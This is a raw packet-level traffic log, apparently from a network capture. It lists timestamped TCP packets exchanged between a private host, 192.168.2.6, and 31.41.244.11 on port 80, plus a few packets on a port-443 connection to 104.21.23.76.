Dec 20, 2024 17:43:55.471550941 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.471579075 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.471646070 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.472501040 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.472562075 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.472666979 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.472727060 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.473548889 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.473622084 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.473661900 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.473737001 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.474625111 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.474700928 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.474705935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.474781036 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.475641966 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.475711107 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.475714922 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.475764990 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.476694107 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.476756096 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.476783991 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.476876020 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.477741957 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.477833986 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.477838039 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.477966070 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.478801966 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.478909016 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.478984118 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.478984118 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.479830980 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.479945898 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.479947090 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.480026007 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.480860949 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.480917931 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.480952024 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.481137991 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.481924057 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.481987000 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.481988907 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.482151031 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.482925892 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.483047962 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.483088970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.483088970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.483983994 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.484054089 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.484119892 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.484285116 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.485018015 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.485117912 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.485146999 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.485200882 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.486072063 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.486126900 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.486185074 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.486247063 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.487200975 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.487256050 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.487334967 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.487427950 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.488158941 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.488199949 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.488243103 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.488243103 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.489196062 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.489285946 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.489326954 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.489326954 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.602245092 CET	443	49804	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:55.602353096 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:55.603753090 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:55.603761911 CET	443	49804	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:55.603997946 CET	443	49804	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:55.605231047 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:55.605374098 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:55.605396986 CET	443	49804	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:55.605443001 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:55.627466917 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.627523899 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.627573967 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.627573967 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.627677917 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.627763987 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.627805948 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.627805948 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.628792048 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.628813028 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.628856897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.628856897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.629833937 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.629935026 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.629971981 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.629971981 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.630837917 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.630951881 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.630997896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.630997896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.631896019 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.631973982 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.632011890 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.632011890 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.632924080 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.633035898 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.633074045 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.633074045 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.633961916 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.634079933 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.634119987 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.634119987 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.635035992 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.635082960 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.635163069 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.635333061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.636050940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.636166096 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.636205912 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.636205912 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.637118101 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.637233019 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.637274027 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.637274981 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.638147116 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.638231993 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.638278961 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.638452053 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.639235973 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.639295101 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.639348030 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.639451981 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.640243053 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.640315056 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.640337944 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.640383959 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.641305923 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.641352892 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.641460896 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.641516924 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.642324924 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.642374039 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.642425060 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.642481089 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.643372059 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.643486977 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.643503904 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.643551111 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.644380093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.644467115 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.644481897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.644531965 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.645445108 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.645539999 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.645566940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.645669937 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.646478891 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.646541119 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.646569967 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.646744013 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.647341013 CET	443	49804	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:55.647563934 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.647661924 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.647675991 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.647757053 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.648610115 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.648667097 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.648722887 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.648866892 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.649616957 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.649662971 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.649696112 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.649791002 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.650685072 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.650773048 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.650799990 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.651032925 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.651691914 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.651753902 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.651778936 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.651861906 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.652750969 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.652851105 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.652861118 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.652930975 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.653779984 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.653918028 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.653942108 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.654063940 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.654912949 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.654968023 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.655002117 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.655116081 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.655864000 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.655919075 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.656177998 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.656251907 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.656893015 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.656945944 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.656963110 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.657016993 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.657947063 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.658003092 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.658051014 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.658107042 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.658976078 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.659084082 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.659090996 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.659169912 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.660018921 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.660123110 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.660151958 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.660203934 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.661065102 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.661128998 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.661150932 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.661298037 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.662094116 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.662156105 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.662187099 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.662264109 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.663136005 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.663244009 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.663269043 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.663322926 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.664182901 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.664288044 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.664345980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.664345980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.665273905 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.665380955 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.665404081 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.665422916 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.666275024 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.666327953 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.666412115 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.666462898 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.667325974 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.667381048 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.667413950 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.667510033 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.668366909 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.668473959 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.668498039 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.668535948 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.669445038 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.669528961 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.669540882 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.669579029 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.670454979 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.670514107 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.670542002 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.670645952 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.671469927 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.671530008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.671597004 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.671724081 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.672533989 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.672615051 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.672643900 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.672707081 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.673568010 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.673618078 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.673639059 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.673696041 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.674945116 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.675009966 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.675050974 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.675143957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.675877094 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.675942898 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.676023960 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.676125050 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.676716089 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.676836014 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.676881075 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.676881075 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.677788973 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.678040981 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.678069115 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.678239107 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.678803921 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.678885937 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.678971052 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.679028034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.679840088 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.679919958 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.680005074 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.680074930 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.680892944 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.680951118 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.680973053 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.681112051 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.681934118 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.682003975 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.819984913 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.820027113 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.820147038 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.820313931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.820367098 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.820447922 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.820492029 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.821363926 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.821402073 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.821465015 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.821506977 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.822395086 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.822530985 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.822541952 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.822568893 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.823429108 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.823468924 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.823529959 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.823571920 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.824536085 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.824579954 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.824623108 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.824662924 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.825598955 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.825649977 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.825710058 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.825748920 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.826652050 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.826698065 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.826801062 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.826838970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.827672005 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.827722073 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.827744007 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.827804089 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.828661919 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.828713894 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.828772068 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.828829050 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.829849958 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.829902887 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.829930067 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.829976082 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.830775023 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.830823898 CET	49799	80	192.168.2.6	31.41.244.11
